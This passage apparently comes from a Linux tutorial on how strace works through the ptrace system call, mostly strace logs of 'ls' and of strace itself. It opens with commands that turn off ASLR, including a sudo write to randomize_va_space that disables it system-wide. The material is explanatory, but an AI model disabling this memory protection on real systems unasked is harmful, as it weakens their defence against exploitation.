	$ setarch x86_64 -R cat /proc/self/maps >1 # -R disables ASLR
	$ setarch x86_64 -R cat /proc/self/maps >2 # -R disables ASLR
	$ diff 1 2 # shows no difference

view raw shell2.log hosted with ❤ by GitHub

2) Disable ASLR for entire system

	$ cat /proc/sys/kernel/randomize_va_space # see status of ASLR
	2
	$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # disable ASLR
	0
	$ cat /proc/self/maps >1
	$ cat /proc/self/maps >2
	$ diff 1 2 # shows no difference again

view raw shell3.log hosted with ❤ by GitHub

ptrace -- Linux system call

In the previous article the strace command observed, today we are going to understand how the strace tool works and write a simple system tracer program to trace system calls of ls program.
At first let strace the ls program
    strace -o ls.strace ls

	execve("/bin/ls", ["ls"], [/* 38 vars */]) = 0
	brk(0) = 0x61b000
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
	access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
	open("/etc/ld.so.cache", O_RDONLY) = 3
	fstat(3, {st_mode=S_IFREG|0644, st_size=103209, ...}) = 0
	mmap(NULL, 103209, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fdf000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libselinux.so.1", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260Y\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0644, st_size=117608, ...}) = 0
	mmap(NULL, 2217520, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bbe000
	mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b000) = 0x7ffff7dd9000
	mmap(0x7ffff7ddb000, 1584, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ddb000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/librt.so.1", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220!\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0644, st_size=31744, ...}) = 0
	mmap(NULL, 2128848, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff79b6000
	mprotect(0x7ffff79bd000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff7bbc000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff7bbc000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libacl.so.1", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\35\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0644, st_size=31208, ...}) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fde000
	mmap(NULL, 2126288, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff77ae000
	mprotect(0x7ffff77b5000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff79b4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7ffff79b4000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libc.so.6", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\356\1\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0755, st_size=1572232, ...}) = 0
	mmap(NULL, 3680296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff742b000
	mprotect(0x7ffff75a5000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff77a4000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x179000) = 0x7ffff77a4000
	mmap(0x7ffff77a9000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff77a9000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libdl.so.2", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\340\r\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0644, st_size=14696, ...}) = 0
	mmap(NULL, 2109696, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7227000
	mprotect(0x7ffff7229000, 2097152, PROT_NONE) = 0
	mmap(0x7ffff7429000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7ffff7429000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libpthread.so.0", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\\\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0755, st_size=136067, ...}) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdd000
	mmap(NULL, 2212768, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff700a000
	mprotect(0x7ffff7022000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff7221000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7ffff7221000
	mmap(0x7ffff7223000, 13216, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7223000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libattr.so.1", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \22\0\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0644, st_size=18704, ...}) = 0
	mmap(NULL, 2113744, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff6e05000
	mprotect(0x7ffff6e09000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff7008000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7ffff7008000
	close(3) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdc000
	mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fda000
	arch_prctl(ARCH_SET_FS, 0x7ffff7fda7a0) = 0
	mprotect(0x7ffff7008000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7221000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7429000, 4096, PROT_READ) = 0
	mprotect(0x7ffff77a4000, 16384, PROT_READ) = 0
	mprotect(0x7ffff79b4000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7bbc000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
	mprotect(0x618000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
	munmap(0x7ffff7fdf000, 103209) = 0
	set_tid_address(0x7ffff7fdaa70) = 30688
	set_robust_list(0x7ffff7fdaa80, 0x18) = 0
	futex(0x7fffffffe2dc, FUTEX_WAKE_PRIVATE, 1) = 0
	futex(0x7fffffffe2dc, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 1, NULL, 7ffff7fda7a0) = -1 EAGAIN (Resource temporarily unavailable)
	rt_sigaction(SIGRTMIN, {0x7ffff700fb20, [], SA_RESTORER|SA_SIGINFO, 0x7ffff7019b40}, NULL, 8) = 0
	rt_sigaction(SIGRT_1, {0x7ffff700fbb0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7ffff7019b40}, NULL, 8) = 0
	rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
	getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM_INFINITY}) = 0
	statfs("/selinux", {f_type="EXT2_SUPER_MAGIC", f_bsize=4096, f_blocks=4934317, f_bfree=3580851, f_bavail=3330202, f_files=1253376, f_ffree=1012313, f_fsid={-690396760, 26947619}, f_namelen=255, f_frsize=4096}) = 0
	brk(0) = 0x61b000
	brk(0x63c000) = 0x63c000
	open("/proc/filesystems", O_RDONLY) = 3
	fstat(3, {st_mode=S_IFREG|0444, st_size=0, ...}) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
	read(3, "nodev\tsysfs\nnodev\trootfs\nnodev\tb"..., 1024) = 315
	read(3, "", 1024) = 0
	close(3) = 0
	munmap(0x7ffff7ff8000, 4096) = 0
	open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
	fstat(3, {st_mode=S_IFREG|0644, st_size=2768240, ...}) = 0
	mmap(NULL, 2768240, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff6b61000
	close(3) = 0
	ioctl(1, SNDCTL_TMR_TIMEBASE or SNDRV_TIMER_IOCTL_NEXT_DEVICE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
	ioctl(1, TIOCGWINSZ, {ws_row=43, ws_col=132, ws_xpixel=0, ws_ypixel=0}) = 0
	open(".", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 3
	fcntl(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)
	getdents(3, /* 7 entries */, 32768) = 216
	getdents(3, /* 0 entries */, 32768) = 0
	close(3) = 0
	fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 9), ...}) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
	write(1, "ls.strace ls.trace strace.stra"..., 51) = 51
	close(1) = 0
	munmap(0x7ffff7ff8000, 4096) = 0
	close(2) = 0
	exit_group(0) = ?

view raw ls.strace.c hosted with ❤ by GitHub

To know which system calls the strace uses lets run it on itself. 
    strace -o strace.strace strace ls

	execve("/usr/local/bin/strace", ["strace", "ls"], [/* 38 vars */]) = 0
	brk(0) = 0x666000
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
	access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
	open("/etc/ld.so.cache", O_RDONLY) = 3
	fstat(3, {st_mode=S_IFREG|0644, st_size=103209, ...}) = 0
	mmap(NULL, 103209, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fdf000
	close(3) = 0
	access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
	open("/lib/libc.so.6", O_RDONLY) = 3
	read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\356\1\0\0\0\0\0"..., 832) = 832
	fstat(3, {st_mode=S_IFREG|0755, st_size=1572232, ...}) = 0
	mmap(NULL, 3680296, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a59000
	mprotect(0x7ffff7bd3000, 2093056, PROT_NONE) = 0
	mmap(0x7ffff7dd2000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x179000) = 0x7ffff7dd2000
	mmap(0x7ffff7dd7000, 18472, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd7000
	close(3) = 0
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fde000
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdd000
	mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdc000
	arch_prctl(ARCH_SET_FS, 0x7ffff7fdd700) = 0
	mprotect(0x7ffff7dd2000, 16384, PROT_READ) = 0
	mprotect(0x656000, 4096, PROT_READ) = 0
	mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
	munmap(0x7ffff7fdf000, 103209) = 0
	brk(0) = 0x666000
	brk(0x687000) = 0x687000
	getuid() = 1000
	getgid() = 1000
	stat("/usr/local/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
	stat("/usr/local/bin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
	stat("/usr/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
	stat("/usr/bin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
	stat("/sbin/ls", 0x7fffffffd070) = -1 ENOENT (No such file or directory)
	stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=105840, ...}) = 0
	stat("/bin/ls", {st_mode=S_IFREG|0755, st_size=105840, ...}) = 0
	clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7ffff7fdd9d0) = 30692
	rt_sigaction(SIGTTOU, {SIG_IGN, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGTTIN, {SIG_IGN, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGHUP, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGINT, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGQUIT, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGPIPE, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGTERM, {0x402160, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigaction(SIGCHLD, {SIG_DFL, [], SA_RESTORER, 0x7ffff7a8cc20}, NULL, 8) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGSTOP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGSTOP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7fffffffd100]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7fffffffe370]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x7fffffffe380]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffd100, [0x736c2f6e69622f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe370, [0x7fffffffe607]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe600, [0x6c00656361727473]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe608, [0x5f544942524f0073]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe378, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe380, [0x7fffffffe60a]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe388, [0x7fffffffe62e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe390, [0x7fffffffe641]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe398, [0x7fffffffe64c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3a0, [0x7fffffffe65c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3a8, [0x7fffffffe6ad]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3b0, [0x7fffffffe6bf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3b8, [0x7fffffffe6e9]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3c0, [0x7fffffffe709]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3c8, [0x7fffffffe717]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3d0, [0x7fffffffec07]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3d8, [0x7fffffffec2d]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3e0, [0x7fffffffec5f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3e8, [0x7fffffffecad]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3f0, [0x7fffffffecbf]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe3f8, [0x7fffffffeceb]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe400, [0x7fffffffed01]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe408, [0x7fffffffed4e]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe410, [0x7fffffffed75]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe418, [0x7fffffffed8c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe420, [0x7fffffffed9c]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe428, [0x7fffffffedb3]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe430, [0x7fffffffede8]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe438, [0x7fffffffedfc]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe440, [0x7fffffffee0d]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe448, [0x7fffffffee15]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe450, [0x7fffffffee29]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe458, [0x7fffffffee55]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe460, [0x7fffffffee66]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe468, [0x7fffffffeea3]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe470, [0x7fffffffef05]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe478, [0x7fffffffef25]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe480, [0x7fffffffef32]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe488, [0x7fffffffef3f]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe490, [0x7fffffffef61]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe498, [0x7fffffffef9b]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4a0, [0x7fffffffefb4]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4a8, [0x7fffffffefca]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7fffffffe4b0, [0]) = 0
	write(2, "execve(\"/bin/ls\", [\"ls\"], [/* 38"..., 41) = 41
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	write(2, ") = 0\n", 6) = 6
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3b]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	write(2, "brk(0", 5) = 5
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xc]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x61b000]) = 0
	write(2, ") "..., 46) = 46
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7df720a]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7208, [0x6c2f6374652f0029]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7210, [0x686f6e2e6f732e64]) = 0
	ptrace(PTRACE_PEEKDATA, 30692, 0x7ffff7df7218, [0x2d6c640070616377]) = 0
	write(2, "access(\"/etc/ld.so.nohwcap\", F_O"..., 33) = 33
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xfffffffffffffffe]) = 0
	write(2, ") = -1 ENOENT (No such file"..., 47) = 47
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
	write(2, "mmap(NULL, 8192, PROT_READ|PROT_"..., 71) = 71
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7ff9000]) = 0
	write(2, ") = 0x7ffff7ff9000\n", 19) = 19
	ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
	--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=0} (Child exited) ---
	rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
	wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
	rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x15]) = 0
	ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
